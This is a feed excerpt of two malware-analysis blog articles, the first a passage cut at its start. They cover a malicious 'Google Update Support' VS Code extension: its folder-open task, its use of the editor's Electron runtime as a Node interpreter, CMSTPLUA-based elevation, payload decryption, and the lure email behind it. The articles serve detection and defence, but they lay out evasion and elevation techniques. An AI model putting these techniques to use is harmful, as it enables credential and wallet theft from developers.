&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;parse&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;acorn&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`
function wrapper(index, key) {
  const adjusted = index - 17;
  return decode(adjusted, key);
}
`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ast&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;ecmaVersion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;sourceType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;script&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;locations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;ast&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;returned&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;node&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ReturnStatement&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;returned&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;argument&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// FunctionDeclaration CallExpression&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;decode&lt;/code&gt; is undefined. But parsing does not require it to exist; Acorn reads the program as a string and returns its syntax tree. Parsing leaves the declarations and expressions unevaluated. I reconstructed the wrappers' index and key transformations from their syntax trees, then implemented those transformations separately. The extension was never imported or executed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2cx0vq2gliesdxzlwaon.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2cx0vq2gliesdxzlwaon.png" alt="From obfuscated syntax to authenticated files" width="800" height="560"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 1. Wrapper mapping and string-table recovery supply the key fragments; GCM authentication checks the reconstructed key against the payloads.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The string array had been rotated, so a valid-looking index could point to the wrong encoded element until the array order was resolved, and searching from one expected &lt;code&gt;crypt&lt;/code&gt; anchor yielded five plausible rotations. Comparing each rotation against all resolved call sites narrowed the candidates.&lt;/p&gt;

&lt;p&gt;The recorded offsets were 391 for the extension and 261 for the bootstrap. The selected candidate produced printable decodes at 15 of 15 tested sites. The runner-up produced 3 of 15. That gap was useful. But printability remained a heuristic; the next checks were whether each string fit its call context and whether the key fragments could be reconstructed in source order. The encrypted payloads would provide a stronger validation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Putting the sixteen fragments back in order
&lt;/h3&gt;

&lt;p&gt;The key expression combined nine decoder results with seven literal fragments. Recovering their values was only half the work. The fragments also had to be concatenated in the original order, including values nested inside parenthesized additions, and a small bounded evaluator concatenated string literals and already-decoded values in source order. The recovered key could then be checked against the encrypted payloads.&lt;/p&gt;

&lt;h2&gt;
  
  
  Authenticated decryption verifies all three payloads
&lt;/h2&gt;

&lt;p&gt;The loader specified the encrypted blob layout directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bytes  0–11    initialization vector
bytes 12–27    authentication tag
bytes 28–end   ciphertext
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;My initial &lt;code&gt;openssl enc&lt;/code&gt; attempt failed: that command lacked the required GCM authentication check, so I switched to &lt;a href="https://nodejs.org/api/crypto.html" rel="noopener noreferrer"&gt;Node's cryptographic library&lt;/a&gt; to verify the stored tag. The failure was in the chosen tool.&lt;/p&gt;

&lt;p&gt;With the corrected operation, all three payloads passed authentication: &lt;code&gt;detect_malware.py&lt;/code&gt; (60,054 bytes), the browser-related decryption component; &lt;code&gt;windows-agent-node.js&lt;/code&gt; (56,093 bytes), the Windows collection agent; and &lt;code&gt;windows-js-pipeline.js&lt;/code&gt; (32,324 bytes), the collection and elevation coordinator.&lt;/p&gt;

&lt;p&gt;All three payloads decrypted to readable, commented source. Authentication tied each plaintext to its encrypted input under the recovered parameters. Execution and collection outcomes require endpoint evidence.&lt;/p&gt;

&lt;h3&gt;
  
  
  The scanner uses the checksum loop to find the rotation
&lt;/h3&gt;

&lt;p&gt;The manual analysis selected a rotation by comparing printable output across call sites, while the later scanner uses another feature of the same obfuscation: a loop that decodes numeric-looking strings, combines them with &lt;code&gt;parseInt&lt;/code&gt; and shifts the array until the checksum equals an embedded constant.&lt;/p&gt;

&lt;p&gt;The evaluated engine identifies the decoder variant from its syntax, reimplements decoding and evaluates that checksum for candidate rotations. For this extension the variant is RC4 behind a shuffled base64 alphabet, with an index offset of 333, and it reaches rotation 391 and decodes 2,139 of 2,140 call sites, while for the bootstrap it reaches rotation 261 and decodes 15 of 17. These agree with the manually established rotations without executing the extension.&lt;/p&gt;

&lt;p&gt;Recovered strings become available to other rules, including calls whose module names are hidden behind decoders, and if the checksum cannot be solved, a printable-consensus heuristic may help. Otherwise the array remains unresolved.&lt;/p&gt;

&lt;p&gt;A later test replaced &lt;code&gt;push(shift())&lt;/code&gt; rotation with &lt;code&gt;splice&lt;/code&gt;. The evaluated engine missed the loop and incorrectly accepted rotation zero, and a hardened engine now recognizes more rotation steps and accepts stored order only when the decoded call sites read as text. &lt;a href="https://krasforge.github.io/UNK_DeadDrop/articles/14-scanner-recovery-and-bypasses/" rel="noopener noreferrer"&gt;Part 14&lt;/a&gt; covers the defect and subsequent tests.&lt;/p&gt;

&lt;p&gt;The scanner does not assemble the AES key or decrypt the payloads. Authenticated decryption remains a separate check on the recovered fragments, and partial string recovery must be read alongside the unresolved call sites.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://krasforge.github.io/UNK_DeadDrop/downloads/UNK-Scanner-Paper.pdf" rel="noopener noreferrer"&gt;scanner paper&lt;/a&gt; describes the evaluated implementation, including its per-process restrictions, resource limits and AST-only TypeScript/JSX fallback, and the command-line output records which isolation controls were applied (Linux network-namespace isolation depends on host support). Installation and current release instructions are maintained in the &lt;a href="https://github.com/KrasForge/unk-scanner" rel="noopener noreferrer"&gt;companion repository&lt;/a&gt;, with packages on &lt;a href="https://www.npmjs.com/package/unk-scanner" rel="noopener noreferrer"&gt;npm&lt;/a&gt; and &lt;a href="https://pypi.org/project/unk-scanner/" rel="noopener noreferrer"&gt;PyPI&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The larger registry evaluation is in &lt;a href="https://krasforge.github.io/UNK_DeadDrop/articles/13-scanner-registry-benchmark/" rel="noopener noreferrer"&gt;Part 13&lt;/a&gt;. It found few error-level alerts and missed most generic package malware. A completed scan is a pattern check, not a safety verdict.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;detect_malware.py
4c3fdd86a59d52a0e29f472666cbf9472b6fd83c38ef2a4b547f31c72b8ee87e

windows-agent-node.js
e5b7d6411d0c95da047185d94fca98d454b73df2e7f46f2753e212af2ca45da5

windows-js-pipeline.js
bf820623e8deaa37092650c7fae594e56b8d81c27b541419006cca2d0536353b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Originally published on the &lt;a href="https://krasforge.github.io/UNK_DeadDrop/articles/03-acorn-deobfuscation/" rel="noopener noreferrer"&gt;UNK_DeadDrop research site&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Scanner paper:&lt;/strong&gt; &lt;a href="https://krasforge.github.io/UNK_DeadDrop/downloads/UNK-Scanner-Paper.pdf" rel="noopener noreferrer"&gt;Static AST-Based Triage of Socially-Engineered Developer Lures&lt;/a&gt; (PDF)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Campaign paper:&lt;/strong&gt; &lt;a href="https://krasforge.github.io/UNK_DeadDrop/downloads/UNK_DeadDrop-Preprint.pdf" rel="noopener noreferrer"&gt;UNK_DeadDrop: An Artifact-Based Study of Recruitment Malware&lt;/a&gt; (PDF)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scanner:&lt;/strong&gt; &lt;a href="https://github.com/KrasForge/unk-scanner" rel="noopener noreferrer"&gt;unk-scanner on GitHub&lt;/a&gt;, with rules and inert fixtures&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Series:&lt;/strong&gt; &lt;a href="https://krasforge.github.io/UNK_DeadDrop/" rel="noopener noreferrer"&gt;all fourteen parts on the UNK_DeadDrop research site&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;This article was prepared with AI assistance; the research and evidence are the author's.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>security</category>
      <category>malware</category>
      <category>reverseengineering</category>
    </item>
    <item>
      <title>How a Malicious VSIX Uses the Signed Editor Runtime</title>
      <dc:creator>Ilja Krasnjanski</dc:creator>
      <pubDate>Mon, 02 Nov 2026 02:17:27 +0000</pubDate>
      <link>https://dev.to/ik-iljakrasnjanski/how-a-malicious-vsix-uses-the-signed-editor-runtime-1bd1</link>
      <guid>https://dev.to/ik-iljakrasnjanski/how-a-malicious-vsix-uses-the-signed-editor-runtime-1bd1</guid>
      <description>&lt;p&gt;The extension calls itself &lt;strong&gt;Google Update Support&lt;/strong&gt; and claims to secure and update the development environment, but inside the 17.6 MB package are native agents for macOS and Linux, encrypted Windows components, and code that selects deployment settings. On Windows, one path uses the editor's Electron executable to interpret attacker-controlled JavaScript. The environment variable &lt;code&gt;ELECTRON_RUN_AS_NODE=1&lt;/code&gt; enables that mode.&lt;/p&gt;

&lt;p&gt;This is the repository-based branch: a project task leads to the extension installer, which supplies the collection pipeline. Part 1's clipboard lure is a separate entry point. Related Windows elevation code appears in both branches.&lt;/p&gt;

&lt;p&gt;The July repository review identified five weaponised copies:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;github[.]com/Lyracartoon/predict-together&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;github[.]com/pridnet/dscufo-assessment-fe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gitlab[.]com/pulsynk/rekt-db&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gitlab[.]com/stefan[.]kano/forge-4626-invariants&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gitlab[.]com/predicttogether/forge-4626-invariants&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A sixth copy, &lt;code&gt;gitlab[.]com/lautaro19/rekt-db&lt;/code&gt;, contained matching payload markers. The evidence supports likely operator control, not confirmed ownership. GitLab reportedly removed &lt;code&gt;pulsynk-org/rekt-db&lt;/code&gt;; &lt;code&gt;pulsynk/rekt-db&lt;/code&gt; is a different repository.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://krasforge.github.io/UNK_DeadDrop/indicators/" rel="noopener noreferrer"&gt;historical indicator reference&lt;/a&gt; records the dated observations, and the &lt;a href="https://krasforge.github.io/UNK_DeadDrop/artifacts/" rel="noopener noreferrer"&gt;artifact reference&lt;/a&gt; lists hashes for selected task and settings files. Current availability has not been checked.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.proofpoint.com/us/blog/threat-insight/dont-fear-repo-unkdeaddrop-phishing-campaign-targets-developers-steal" rel="noopener noreferrer"&gt;Proofpoint's UNK_DeadDrop analysis&lt;/a&gt; documents the VSIX route and Windows architecture also present in this package, while Jamf Threat Labs has separately documented &lt;a href="https://www.jamf.com/blog/threat-actors-expand-abuse-of-visual-studio-code/" rel="noopener noreferrer"&gt;threat actors abusing Visual Studio Code&lt;/a&gt;, and the editor's own &lt;a href="https://code.visualstudio.com/docs/debugtest/tasks" rel="noopener noreferrer"&gt;task documentation&lt;/a&gt; and Electron's &lt;a href="https://www.electronjs.org/docs/latest/api/environment-variables" rel="noopener noreferrer"&gt;environment-variable reference&lt;/a&gt; describe the two legitimate features this chain repurposes.&lt;/p&gt;

&lt;h2&gt;
  
  
  A &lt;code&gt;folderOpen&lt;/code&gt; task points to the installer
&lt;/h2&gt;

&lt;p&gt;The repository task uses &lt;code&gt;runOn: folderOpen&lt;/code&gt; and points into an ordinary-looking project directory. Editor trust and task permissions gate execution.&lt;/p&gt;

&lt;p&gt;After installation, the extension is no longer confined to the project; it declares startup activation, while surrounding scripts clean up the task and staging files, and deleting the clone leaves the installed extension outside that cleanup.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fah9t46nxpckg0lvs4z0r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fah9t46nxpckg0lvs4z0r.png" alt="How the editor becomes an interpreter" width="800" height="536"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 1. The repository installs an extension whose Windows branch invokes the editor's Electron runtime in Node mode.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The extension manifest contains these fields:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"google-update-support"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"displayName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Google Update Support"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"publisher"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"google-dev-tools"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1.0.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"main"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"./extension.js"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"activationEvents"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"onStartupFinished"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The installed identifier is &lt;code&gt;google-dev-tools.google-update-support&lt;/code&gt;. These names are part of the masquerade; they establish neither Google authorship nor a trusted signature. The VSIX collected on 22 July 2026 is 17,647,582 bytes. &lt;a href="https://krasforge.github.io/UNK_DeadDrop/evidence/E03.pdf" rel="noopener noreferrer"&gt;Exhibit E03&lt;/a&gt; records the package, nested archive and native-agent hashes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SHA-256
52886aab179f26421678ff23af1b0fabf0a17ffbb534369cdbbac8008cbed8e7
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;onStartupFinished&lt;/code&gt; declaration gives the extension an opportunity to activate after the original workspace is gone. Payload startup still depends on the platform-specific code path.&lt;/p&gt;

&lt;p&gt;The extension exposes its settings under the &lt;code&gt;googleUpdateSupport&lt;/code&gt; namespace:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;googleUpdateSupport.agentZipRelativePath
googleUpdateSupport.windowsActivationMode
googleUpdateSupport.companyWalletServerUrl
googleUpdateSupport.companyWalletClientId
googleUpdateSupport.companyWalletAgentToken
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The deployment reads server and client values from configuration, so the same VSIX can be reused with different workspace settings. Preserve the package and project configuration together: a VSIX hash identifies the archive but may not reveal where a particular installation was configured to send data.&lt;/p&gt;

&lt;p&gt;The nested agent archive contains Go binaries for macOS arm64, macOS amd64 and Linux amd64, and their hashes match samples identified in the case's comparison with prior reporting, but the Windows branch does not depend on dropping those binaries. The encrypted Windows modules and their recovered hashes are documented in &lt;a href="https://krasforge.github.io/UNK_DeadDrop/evidence/E04.pdf" rel="noopener noreferrer"&gt;E04&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three encrypted scripts inside the VSIX
&lt;/h2&gt;

&lt;p&gt;Static deobfuscation recovered three readable components from the package:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;windows-js-pipeline.js&lt;/code&gt; coordinates collection, elevation, upload and cleanup.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;windows-agent-node.js&lt;/code&gt; implements the JavaScript collection agent.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;detect_malware.py&lt;/code&gt; handles browser-related key and credential decryption.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Node source describes a Windows route that does not depend on a Go executable. A detector limited to native-agent hashes would miss this path. The Python component contains DPAPI and browser elevation-service logic, including App-Bound Encryption handling, while the coordinator attempts to obtain the privileges and execution context this stage needs, and the &lt;a href="https://krasforge.github.io/UNK_DeadDrop/articles/03-acorn-deobfuscation/" rel="noopener noreferrer"&gt;Acorn analysis&lt;/a&gt; describes their recovery through static deobfuscation and authenticated decryption.&lt;/p&gt;

&lt;p&gt;The recovered builder constructs a PowerShell script that requests an elevated COM object associated with CMSTPLUA and the ICMLuaUtil interface. The identifiers are assembled from numeric fields, so searching for a literal GUID is less useful than tracing how the script builds and calls them, and it then creates a delegate at runtime to dispatch the shell-execution method.&lt;/p&gt;

&lt;p&gt;Similar builder code appears in the ClickFix stage-three script, linking the implementations across the two delivery routes. &lt;a href="https://krasforge.github.io/UNK_DeadDrop/evidence/E19.pdf" rel="noopener noreferrer"&gt;E19&lt;/a&gt; records the relevant source spans.&lt;/p&gt;

&lt;p&gt;The failure paths show that elevation may not succeed. The VSIX pipeline can fall back to RunAs, which may display a consent prompt, while ClickFix retries and uses a sentinel to check for completion, and success depends on Windows version, user privileges, policy and process context. These paths were analyzed statically. Their runtime outcomes were not reproduced.&lt;/p&gt;

&lt;h3&gt;
  
  
  The extension launches the editor binary as Node
&lt;/h3&gt;

&lt;p&gt;The source sets &lt;code&gt;ELECTRON_RUN_AS_NODE&lt;/code&gt; and invokes the editor executable with an agent-script path. &lt;code&gt;process.execPath&lt;/code&gt; supplies the executable location from inside the extension. The code uses the editor binary as a Node interpreter for collection code supplied by the chain, rather than its normal startup code, and MITRE ATT&amp;amp;CK tracks this behavior as &lt;a href="https://attack.mitre.org/techniques/T1218/015/" rel="noopener noreferrer"&gt;Electron Applications (T1218.015)&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A process name or publisher check is incomplete here. A legitimate signature authenticates the editor executable, not every script passed to it. On an endpoint, investigate the transition: the editor launching an elevation helper, then an unexpectedly elevated interpreter with a collection-script argument, then access to browser or wallet data. Decryption remains a separate condition. Elevation alone does not prove that a password was recovered.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recruitment email in the clean repository
&lt;/h2&gt;

&lt;p&gt;The weaponised &lt;code&gt;predict-together&lt;/code&gt; copy has a clean twin with its own recruitment material. An email template stored beside the clean version shows that the operators also addressed designers, project managers, founders and builders, and it invites them to review an open-source market-analysis platform in Cursor.&lt;/p&gt;

&lt;p&gt;The template describes four steps, taking "about 30 minutes":&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Clone the repository.&lt;/li&gt;
&lt;li&gt;Open it in Cursor and analyze it with AI.&lt;/li&gt;
&lt;li&gt;Write a few prompts.&lt;/li&gt;
&lt;li&gt;Send the prompts back.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The message says, "No coding needed," and offers payment, a Cursor Ultra license or a place on the team for useful feedback. Its repository link is a placeholder. The copy sent to any particular recipient remains unknown.&lt;/p&gt;

&lt;p&gt;The public repository is a working FastAPI and React application, with seeded demo users and green test and coverage badges, and I reviewed its full tree, including dot-directories, and found no code that would run on its own.&lt;/p&gt;

&lt;p&gt;The review found no &lt;code&gt;.vscode/tasks.json&lt;/code&gt;, &lt;code&gt;.cursor/&lt;/code&gt; rules, &lt;code&gt;mcp.json&lt;/code&gt;, &lt;code&gt;.devcontainer/&lt;/code&gt; hooks or workflows; the Python and npm dependencies came from ordinary package registries and had no install scripts, and the documentation showed standard install, test and run commands.&lt;/p&gt;

&lt;p&gt;The repository's &lt;code&gt;.gitignore&lt;/code&gt; also excludes &lt;code&gt;.vscode/&lt;/code&gt;. The copy with the folder-open task belongs to a different account. The template presents the clean repository for inspection, while the weaponised copy is a separate artifact.&lt;/p&gt;

&lt;p&gt;The email targets people who are not being asked to write code. A developer doing a coding exercise may inspect the project and notice an unusual task or install hook, while someone told that no coding is needed may instead open the repository in an AI editor and let its agent act without reading the project. The retained weaponised copy used a folder-open task.&lt;/p&gt;

&lt;p&gt;Other editor-based routes are possible, including devcontainer hooks, workspace rules or instructions, an MCP server supplied by the workspace, and a dependency that runs when the agent is asked to start the project. None of those appeared in the copies reviewed here.&lt;/p&gt;

&lt;p&gt;The review covered the public repository and the retained weaponised copy, not a message received by a target; the exact repository and configuration sent to any individual therefore remain unknown. The public reports cited in this series describe developer-directed assessments. They do not describe this non-coder invitation.&lt;/p&gt;

&lt;p&gt;Before opening an unsolicited project in an AI editor:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use a disposable machine.&lt;/li&gt;
&lt;li&gt;Turn off automatic task execution and agent auto-run.&lt;/li&gt;
&lt;li&gt;Disable workspace-supplied MCP configuration.&lt;/li&gt;
&lt;li&gt;Keep wallet keys, SSH keys, browser profiles and &lt;code&gt;.env&lt;/code&gt; secrets off it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Inspect the extension path and process arguments
&lt;/h2&gt;

&lt;p&gt;Repository-only review can miss the installed extension. A hunt limited to native binaries can miss the JavaScript Windows branch. Preserve task definitions, editor and agent configuration directories, workspace settings, extension metadata, script arguments, process ancestry and any resulting persistence. The extension identifier and package hash provide exact selectors. The editor-to-interpreter transition gives responders a behavior to investigate when names or builds change.&lt;/p&gt;

&lt;p&gt;The companion repository has a &lt;a href="https://github.com/KrasForge/unk-scanner/blob/main/rules/yara/deaddrop_vsix_manifest.yar" rel="noopener noreferrer"&gt;YARA rule for the recovered VSIX manifest&lt;/a&gt;. It must scan extracted archive members.&lt;/p&gt;

&lt;p&gt;The companion scanner covers JavaScript. Its &lt;code&gt;electron-run-as-node&lt;/code&gt; rule reports the recovered pipeline at error level because that file writes a PowerShell script, sets &lt;code&gt;$env:ELECTRON_RUN_AS_NODE&lt;/code&gt; and launches it with a hidden window. The scanner also reports the extension's obfuscated string array as recovered.&lt;/p&gt;

&lt;p&gt;Setting the variable alone is not enough to raise an error. In a benchmark of 3,000 popular packages and extensions, TypeScript's language server, SSH proxy shims and local helper servers launched the editor binary as Node in sixteen places. None hid the launch.&lt;/p&gt;

&lt;p&gt;The repository has no process or file-event rules because authentic endpoint logs were not retained for replay. The manifest rule identifies package metadata. Confirming execution and subsequent collection requires endpoint records.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on the &lt;a href="https://krasforge.github.io/UNK_DeadDrop/articles/02-vsix-editor-execution/" rel="noopener noreferrer"&gt;UNK_DeadDrop research site&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Campaign paper:&lt;/strong&gt; &lt;a href="https://krasforge.github.io/UNK_DeadDrop/downloads/UNK_DeadDrop-Preprint.pdf" rel="noopener noreferrer"&gt;UNK_DeadDrop: An Artifact-Based Study of Recruitment Malware&lt;/a&gt; (PDF)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scanner paper:&lt;/strong&gt; &lt;a href="https://krasforge.github.io/UNK_DeadDrop/downloads/UNK-Scanner-Paper.pdf" rel="noopener noreferrer"&gt;Static AST-Based Triage of Socially-Engineered Developer Lures&lt;/a&gt; (PDF)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scanner:&lt;/strong&gt; &lt;a href="https://github.com/KrasForge/unk-scanner" rel="noopener noreferrer"&gt;unk-scanner on GitHub&lt;/a&gt;, with rules and inert fixtures&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Series:&lt;/strong&gt; &lt;a href="https://krasforge.github.io/UNK_DeadDrop/" rel="noopener noreferrer"&gt;all fourteen parts on the UNK_DeadDrop research site&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>vscode</category>
      <category>malware</category>
      <category>electron</category>
    </item>
    <item>
